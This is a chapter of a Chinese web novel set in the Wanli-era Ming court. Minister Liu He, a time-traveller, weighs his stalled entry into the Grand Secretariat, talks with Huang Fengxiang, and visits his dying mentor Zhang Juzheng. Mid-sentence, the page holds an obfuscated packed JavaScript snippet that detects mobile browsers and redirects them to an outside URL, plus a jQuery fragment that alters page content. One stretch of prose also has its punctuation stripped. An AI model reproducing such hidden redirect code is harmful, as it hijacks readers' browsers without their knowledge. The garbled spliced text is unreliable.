第244章 244 师徒对谈
作品:《寒门之士[科举]》 第二百四十四章
“泽远,京中传闻连江南都听说了,你却仍能稳坐喝茶,我当真佩服你。”
柳贺一见来人便笑道:“鸣周兄,我着急又有何用?”
柳贺若一心盼着入阁,万历七年时也不会乡居一年,眼下朝野中议论纷纷,皆是期盼张居正归政后政局有改。
说实话,柳贺并不十分乐意搅进浑水之中。
因而这几日他只在礼部衙门和家两处行走,若无要事,他连内阁也不愿去。
虽然他心中清楚,阁臣之位靠等是等不到的,但强求也并无意义。
这几日的传言柳贺也听说了,依他猜测,传言恐怕不假——李太后对自己恐怕相当厌恶,对天子嘱咐几句也并非不可能。
但传言一出,柳贺却没有使之加剧的意愿。
此前是靠文官们上疏劝诫天子,李太后才未继续掌权,但当时,《育言报》的确是由李太后派人查封,吴中行也的确是李太后派人所伤。
那时上疏是为公义,纵然李太后是天子之母,文官们心中也没有一丝惧色。
但这一回不同,虽传闻说李太后“强令”天子不许柳贺入阁,可传言毕竟是传言,没有确凿的证据,即便为真,李太后针对的也只是柳贺一人,而非公义。
柳贺若想借文官之势攻讦太后,压迫天子,他的想法就大错特错了,日后他即便入阁,天子每日见他,所想的也是他对李太后的攻击,入阁之初便和天子有了嫌隙,柳贺这阁臣之位必然也坐不稳当。
所以柳贺只安安静静地什么也不做,闲下来喝喝茶看看《育言报》,倒被他品出了几分滋味。
“鸣周兄,近日刚到的好茶,是汝迈兄赠我的。”柳贺见黄凤翔走得出了一身汗,便笑道,“也给你倒上一杯。”
“你这大宗伯亲自倒的茶,我当然要品一品。”
黄凤翔如今的官职是右中允,隆庆二年进士中,于慎行、王家屏都先他一步为经筵讲官,他对仕途并无争胜之心,倒是在文教一道上颇有心得。
众翰林如今也在关注着京中动向。
柳贺离入阁只差临门一脚,可这一步却格外艰难。
“泽远,我也明白你之不易。”
旁人只瞧见柳贺一路晋升飞速,入仕不
过十年便稳坐礼部尚书之位甚至有了入阁的资格。
可在黄凤翔等人看来柳贺一步步至今为的都是常人不敢为之事。
他心中不由道虽有太后从中作梗可天子如此举棋不定倒令人心中失望。
为何?
其一张居正是那般能退让的官员吗?经历过夺情一事京中谁人不知若张居正想久据首辅之位几乎无人可阻拦。
此时张居正决定归政细节虽无人知晓可官员们都猜必有柳贺在其中劝说。
朝廷官员中能够劝动张居正的也不过那一二人罢了。
其二若非《育言报》一事令文官们团结一致太后又岂会那么轻易地放权给天子?
柳贺的功劳也无需细说。
可以说天子已从柳贺手中收了不少好处但轮到他回报的时候他却十分吝啬何况柳贺不是旁人天子仍在东宫时他便是天子的讲官彼此间情谊可谓十分深重。
柳贺为官可谓兢兢业业为人又深得信重在民间在官场都颇有声望。
若天子因柳太后之故断绝了柳贺的入阁之路黄凤翔也会觉得十分失望。
柳贺道:“难得有清闲的时候咱们品茗即可不谈朝事。”
“也是是我失态了。”黄凤翔目露歉意“我为官虽比泽远早上三年论稳重却多有不如。”
他真佩服柳贺到如今还坐得住入阁是何等要事?殷士儋都对高拱报以老拳了就是因为高拱千方百计阻止他入阁。
“鸣周兄我是觉得无论入不入阁只要我对百姓有一颗慈悲之心在何处不是为国办事?”柳贺道“况且……我也不愿令陛下为难。”
黄凤翔觉得
他来此处只是想安慰安慰柳贺顺便为柳贺出出主意可据他所观柳贺似乎不需要劝慰。
他于为官之事看得很透彻因而才能够淡定沉稳。
或许柳贺能办成事也有这个缘故在。
……
事实上此次关于柳贺与李太后的传闻远不如上一回奏效毕竟张居正眼看着就要归政了此时得罪天子殊为不智文官们也不愿为柳贺一人出头。
柳贺也提早嘱咐过翰林
院中的几位好友,叫他们不必为自己发声,张居正那边,在张居正上疏称要归政给天子后,守在张府门前的官员便少了许多。
柳贺上门时,他第一次意识到,张府竟也有如此冷清的时候。
张居正第一回上疏时,官员们不知他心意,便到他门上劝诫,所说之语与天子所说颇为相近,无非就是江山离不开他云云,到张居正上了二三四五道疏后,官员们终于意识到,为大明江山操劳十年的权相张太岳去意已决。
张居正要归政,张府管家游七自也没有了过去的风光,以往柳贺来张府时,游七言语客气,可行动间总有和柳贺平起平坐的意思在。
他清楚张居正归政有柳贺的手笔在,心中自然暗暗恨着柳贺,可张居正致仕已是板上钉钉之事,柳贺入阁虽然也悬,但他毕竟是张居正亲信门生中声望最高的一位。
张学颜与曾省吾、王篆等人皆赖张居正而起,柳贺虽说是张居正的门生,政声却比这二人要好上许多,即便这一回不能入阁,未来如何却也说不准。
游七仍未放弃想给柳贺当管家的念头。
不过他暂时不敢和柳贺说,只想等张居正回乡时再提,张居正若致仕,必然是要返回江陵老家的,他游七在京中见识了许多风光,与部堂、侍郎称兄道弟,想着江陵清苦,他必然是不愿和张居正一道回老家的。
张居正书房内仍是茶香袅袅。
张居正既决心归政,自上第一道疏后,他便没有再回内阁办事,若有朝官书吏如以往般将政事送至张府,张居正也一概退回,归政之心十分明显。
可天子的赏赐却如流水一般进入张府,不仅如此,去年腊八起,天子日日派内侍对张居正嘘寒问暖,或下旨称他对政事仍有不足,需张居正相扶云云。
柳贺在心中默默感叹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080412|86238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,天子之心,路人皆知。
但不管天子如何劝说,张居正始终意志坚定。
张居正比柳贺上回见他又瘦了一些,以往有蟒袍遮挡,他一品大员的气魄又令人不敢直视,故而若非柳贺这般亲近他的官员,常人也难看出他身体的异常。
今日穿着常服,张居正面色看上去也不够红润。
“京中传言你可有听闻?
柳贺皱眉道:“恩师,已至今日了,您实不该为
弟子之事操劳。”
张居正已上了数道疏,却仍挡不住京中对他归政一事的疑心,若是他再借势推柳贺入阁,恐怕天子与百官都以为他不愿走。
“我并非为你。”张居正道,“只是我若归政,朝中还需有一能担当之人。”
柳贺是符合他心意的人选,且他的几位心腹中,张学颜知军事知税事,却不知用人,王国光任吏部尚书几年,只对其任户吏二部尚书经手之事有了解。
唯有柳贺对他改革的理解是全方位的。
张居正眼下最忧心之事,便是他的改革。
柳贺轻轻叹了口气:“但陛下那里……”
张居正道:“陛下并非不愿你入阁。”
后世史书上爱写张居正对万历如何如何坏,可柳贺穿越至大明朝数年,对张居正与万历都有些熟悉,在他看来,即便万历有不到之处,张居正却从未指责过天子。
这是他为相的涵养。
柳贺道:“陛下若心甘情愿令弟子入阁,弟子自是十分满意,陛下若不愿,弟子心中也不会有怨言。”
“百官皆如你一般,朝堂便没有争斗了。”张居正道,“我致仕之前,阁臣人选必是要定下,你再有耐心些,该争的时候必须要争,你为人太正直了些。”
“身在官场,若只干实事,当个直臣倒也无妨,可到了内阁,眼中揉不得沙子的性子就不适合了。”张居正道,“我原对你有些担心,可你进京以来,对几桩事的处置都还算平稳,我也能放心了。”
“弟子谨记恩师教诲。”柳贺道,“只是弟子为恩师做的甚少,恩师却如此惦记弟子,实在叫弟子无地自容。”
张居正微微一笑,并未回应柳贺这一句话。
过了片刻,他忽然道:“泽远,自去年九月以来,我便觉得身子一日不如一日,就算有太医来诊治,也说不出一二来。”
“高新郑活了六十五岁,放眼本朝,他也算不上是长寿的首辅,如今看来,我恐怕还不如他。”
柳贺道:“恩师莫要这般说,还请恩师保重身体。”
张居正挥了挥手,道:“我若不在人世,墓志铭便由你来替我写,不必写出我生平功绩,只愿能如那篇《祭师文》一般,感人些,真挚些。”
在真实的历史上,张居正的寿命的确只剩一年半而已。
初至这大明朝时,甚至初次见到张居正的时候,柳贺从来没有想过,这位历史上赫赫有名的人物会与自己产生关联。
在那时候,张居正的生或死都和他没有任何关系。
但此刻,一想到不久之后的未来,柳贺也忍不住有些悲伤。